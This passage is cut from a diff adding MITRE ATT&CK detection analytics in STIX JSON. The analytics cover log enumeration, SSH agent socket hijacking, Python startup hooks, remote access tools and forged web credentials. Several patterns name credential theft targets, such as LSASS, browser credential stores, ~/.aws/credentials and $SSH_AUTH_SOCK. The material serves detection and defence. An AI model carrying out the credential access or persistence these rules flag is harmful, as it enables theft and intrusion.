network transfer activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4656" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WhitelistedAdminTools", + "description": "Expected log management scripts executed by administrators should be excluded from alerts." + }, + { + "field": "TimeWindow", + "description": "Correlate enumeration attempts with file export or network transfer within a defined timeframe." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ee468e26-d179-47ba-af8b-43118db24939", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0255#AN0706", + "external_id": "AN0706" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0706", + "description": "Monitor for suspicious use of commands such as cat, less, grep, or journalctl accessing /var/log/ files. Abnormal enumeration of authentication logs (auth.log, secure) or bulk access to multiple logs in short time windows should be flagged.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve: Execution of cat, less, grep, journalctl targeting log directories (/var/log/)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:PATH", + "channel": "open: Access to sensitive log files (/var/log/auth.log, /var/log/secure, /var/log/syslog)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AdminMaintenanceScripts", + "description": "Filter routine scripts used for log rotation or troubleshooting." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8f998965-ad70-4ec6-8bc1-85831edc0497", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0255#AN0707", + "external_id": "AN0707" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0707", + "description": "Detect abnormal access to unified logs via log show or fs_usage targeting system log files. Monitor for execution of shell utilities (cat, grep) against /var/log/system.log and for plist modifications enabling verbose logging.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "Execution of log show, fs_usage, or cat targeting system.log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "open: Access to /var/log/system.log or related security event logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DebugToolsContext", + "description": "Allowlist developers or administrators expected to review logs during debugging." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--42bae633-1033-40da-bf3a-87bcd1b0297f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0255#AN0708", + "external_id": "AN0708" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0708", + "description": "Monitor for cloud API calls that export or collect guest or system logs. Abnormal use of Azure VM Agent\u2019s CollectGuestLogs.exe or AWS CloudWatch GetLogEvents across multiple instances should be correlated with lateral movement or data staging.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "AWS:CloudTrail", + "channel": "GetLogEvents: High frequency log exports from CloudWatch or equivalent services" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "azure:activity", + "channel": "CollectGuestLogs: Unexpected collection of guest logs by Azure VM Agent outside normal maintenance windows" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LogExportThreshold", + "description": "Define thresholds for volume/frequency of log export requests considered suspicious." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f5b9ad98-3a10-4ff3-9e25-890488253bef", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0255#AN0709", + "external_id": "AN0709" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0709", + "description": "Monitor ESXi shell or API access to host logs under /var/log/. Abnormal enumeration of vmkernel.log, hostd.log, or vpxa.log by unauthorized accounts should be flagged.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:shell", + "channel": "Execution of cat, tail, grep targeting /var/log/vmkernel.log or /var/log/hostd.log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "esxi:hostd", + "channel": "read: Access to sensitive log files by non-admin users" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AdminSessions", + "description": "Correlate with legitimate administrator access sessions to reduce noise." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3517708a-f80e-4335-a122-65b9b3505e8d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0256#AN0710", + "external_id": "AN0710" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0710", + "description": "Suspicious reuse of SSH agent sockets across multiple users or processes, anomalous access to ~/.ssh/ or /tmp/ssh-* sockets, and abnormal patterns of lateral movement via SSH without new authentication events. Defender view: detect when one process accesses another user's SSH agent or when an existing SSH connection is used to pivot unexpectedly.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "auditd:SYSCALL", + "channel": "open or connect syscalls on /tmp/ssh-* or $SSH_AUTH_SOCK" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "Execution of ssh/scp/sftp without corresponding authentication log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "NSM:Connections", + "channel": "Missing new login event but session activity continues" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Tune alerts for cross-user access to SSH agent sockets." + }, + { + "field": "TimeWindow", + "description": "Correlate lack of authentication with lateral SSH activity within a short timeframe." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--de71bbc0-66b2-41ae-a3f3-4911ac31b391", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0256#AN0711", + "external_id": "AN0711" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0711", + "description": "Unusual access to SSH agent sockets in /tmp/ or /private/tmp, process access to another user\u2019s $SSH_AUTH_SOCK, and lateral SSH activity without corresponding login events. Defender view: correlation of socket access with anomalous network flows to internal systems.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "macos:unifiedlog", + "channel": "Process opening SSH_AUTH_SOCK or /tmp/ssh-* socket not owned by same UID" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of ssh or sftp without corresponding login event" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "macos:unifiedlog", + "channel": "Session reuse without new auth event" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SocketPathScope", + "description": "Limit detection to monitored SSH agent socket directories." + }, + { + "field": "BaselineUsers", + "description": "Establish normal SSH agent ownership and expected usage for tuning." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c7172412-6e48-45a0-a1c5-2eae892c1fc7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0257#AN0712", + "external_id": "AN0712" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0712", + "description": "Detects extraction or mounting of container/archive files (e.g., .iso, .vhd, .zip) that originated from the Internet but whose contained files lack Zone.Identifier MOTW tagging. Correlates file creation metadata with subsequent execution of unsigned or untrusted binaries launched outside SmartScreen or Protected View.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=15" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedExtensions", + "description": "Adjust monitored file types (e.g., .iso, .vhd, .zip, .gz, .rar) based on enterprise usage" + }, + { + "field": "TimeWindow", + "description": "Defines correlation window between extraction/mount and first execution of inner files" + }, + { + "field": "TrustedExtractionTools", + "description": "Whitelist known enterprise archivers and deployment mechanisms to reduce false positives" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e32ce63a-7c82-4115-8c50-e43113562132", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0258#AN0713", + "external_id": "AN0713" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0713", + "description": "Defender observes unauthorized modification or creation of Python hook files such as `.pth`, `sitecustomize.py`, or `usercustomize.py` in Python `site-packages`, `dist-packages`, or user paths. This is often correlated with subsequent unexpected interpreter execution (e.g., python3 running without user interaction), changes in interpreter behavior (e.g., malicious imports), and outbound connections initiated from Python. Defender links write/modify actions on hook files with execve of python process and/or anomalous child process or network activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve: execve where exe=/usr/bin/python3 or similar interpreter" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:PATH", + "channel": "write or create events on *.pth, sitecustomize.py, usercustomize.py in site-packages or dist-packages" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "auditd:CONFIG_CHANGE", + "channel": "chmod or chown of hook files indicating privilege escalation or execution permission change" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "http::request: Outbound HTTP initiated by Python interpreter" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "HookFilePathPatterns", + "description": "Absolute or regex paths to Python startup files (.pth, customize.py); vary by distro or virtual environment location" + }, + { + "field": "UserContext", + "description": "Restrict alerts to non-root users, service accounts, or interactive shell sessions" + }, + { + "field": "TimeWindow", + "description": "Correlate file modification and Python execution within short time span (default: 2\u20135 minutes)" + }, + { + "field": "InterpreterWhitelist", + "description": "Filter out known legitimate Python executions tied to expected cron jobs or automation" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fe1e10ae-ddd2-40f0-8e62-3db88c0c8c68", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0259#AN0714", + "external_id": "AN0714" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0714", + "description": "Adversary installation or use of RMM software (e.g., TeamViewer, AnyDesk, ScreenConnect) followed by outbound beaconing or remote session establishment", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f", + "name": "WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall", + "channel": "new rule allowing inbound or outbound connections for remote desktop software" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "Image", + "description": "RMM software can vary; defenders should update rules to account for additional binaries (e.g., ConnectWise, Zoho Assist)" + }, + { + "field": "DestinationPort", + "description": "RMM software may use configurable or random high ports outside of standard (e.g., 7070, 5650)" + }, + { + "field": "ParentImage", + "description": "Expected parent process may vary in different enterprise contexts" + }, + { + "field": "TimeWindow", + "description": "Correlation window for install-to-beacon or process-to-network event should match operational environment" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--77769a6d-f3f4-42f1-a9a7-0d1096563115", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0259#AN0715", + "external_id": "AN0715" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0715", + "description": "Execution of known or custom VNC/remote desktop daemons or tunneling agents that initiate external communication after launch", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "outbound connections to RMM services or to unusual destination ports" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "binary_name", + "description": "Custom-compiled or renamed VNC servers (e.g., x11vnc, tightvncserver) may require local tuning" + }, + { + "field": "OutboundIPRange", + "description": "Destination IP or ASN may shift depending on geolocation of cloud-hosted RMM backends" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1d46bf4d-a090-4865-9205-e271d223da42", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0259#AN0716", + "external_id": "AN0716" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0716", + "description": "Initiation of remote desktop sessions via AnyDesk, TeamViewer, or Chrome Remote Desktop accompanied by unexpected user logins or system modifications", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "launch of remote desktop app or helper binary" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "macos:unifiedlog", + "channel": "network sessions initiated by remote desktop apps" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "process_signature", + "description": "App may be notarized and signed differently depending on distribution method (App Store vs .pkg)" + }, + { + "field": "sandbox_exception", + "description": "If the remote desktop tool circumvents sandbox, it may produce additional telemetry in local TCC logs" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fca70138-f183-4deb-b2a4-59908c76070b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0260#AN0717", + "external_id": "AN0717" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0717", + "description": "Defenders may detect adversaries forging web credentials in IaaS environments by monitoring for anomalous API activity such as AssumeRole or GetFederationToken being executed by unusual principals. These events often correlate with sudden logon sessions from unfamiliar IP addresses or regions. The chain is usually secret material misuse (stolen private key or password) \u2192 API request generating a new token \u2192 access to high-value resources.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5f7c9def-0ddf-423b-b1f8-fb2ddeed0ce3", + "name": "AWS:CloudTrail", + "channel": "AssumeRole, GetFederationToken API calls by unusual or new entities" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "AWS:CloudTrail", + "channel": "Temporary security credentials used to authenticate into management console or APIs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuthorizedRoleMappings", + "description": "Define expected users and roles allowed to use AssumeRole or federation APIs." + }, + { + "field": "GeoVelocityThreshold", + "description": "Alert if the same user authenticates from geographically disparate locations within a short time." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d1eafedb-ac64-46b0-972d-8f8759fc11b3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0260#AN0718", + "external_id": "AN0718" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0718", + "description": "Forged web credentials may manifest as anomalous SAML token issuance, OpenID Connect token minting, or Zimbra pre-auth key usage. Defenders may see tokens issued without normal authentication events, multiple valid tokens generated simultaneously, or signing anomalies in IdP logs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5f7c9def-0ddf-423b-b1f8-fb2ddeed0ce3", + "name": "azure:signinLogs", + "channel": "SAML/OIDC tokens issued without corresponding MFA or password validation" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428", + "name": "NSM:Connections", + "channel": "Pre-authentication keys generated or token signing anomalies" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TokenLifetimeThreshold", + "description": "Limit the maximum time temporary tokens are valid." + }, + { + "field": "ExpectedAuthFlows", + "description": "Define normal authentication flows (e.g., password+MFA) to baseline token issuance." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ff0d2f8d-1fff-4bda-94e6-c0cd50abe6ed", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0260#AN0719", + "external_id": "AN0719" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0719", + "description": "Forged web credentials on Windows endpoints may be detected by anomalous browser cookie files, local token cache manipulations, or tools injecting tokens into sessions. Defenders may observe processes accessing LSASS or browser credential stores unexpectedly, followed by unusual logon sessions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessWhitelist", + "description": "Define expected processes that access LSASS or browser credential files." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--789849fe-7e94-4fd0-904b-02f8c9c0a696", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0260#AN0720", + "external_id": "AN0720" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0720", + "description": "On Linux systems, forged credentials may be injected into browser session files, curl/wget headers, or token caches in memory. Detection can leverage auditd to track processes accessing sensitive files (~/.mozilla, ~/.config/chromium, ~/.aws/credentials) and correlate with suspicious outbound connections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "Processes reading credential or token cache files" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "WinEventLog:Sysmon", + "channel": "Outbound requests with forged tokens/cookies in headers" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CredentialFilePaths", + "description": "Define which credential and session files should trigger monitoring." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b2569010-23c0-4dd8-9e53-3537c1e89efc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0260#AN0721", + "external_id": "AN0721" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0721", + "description": "Forged credentials on macOS may be visible through Unified Logs showing abnormal access to Keychain or browser session files. 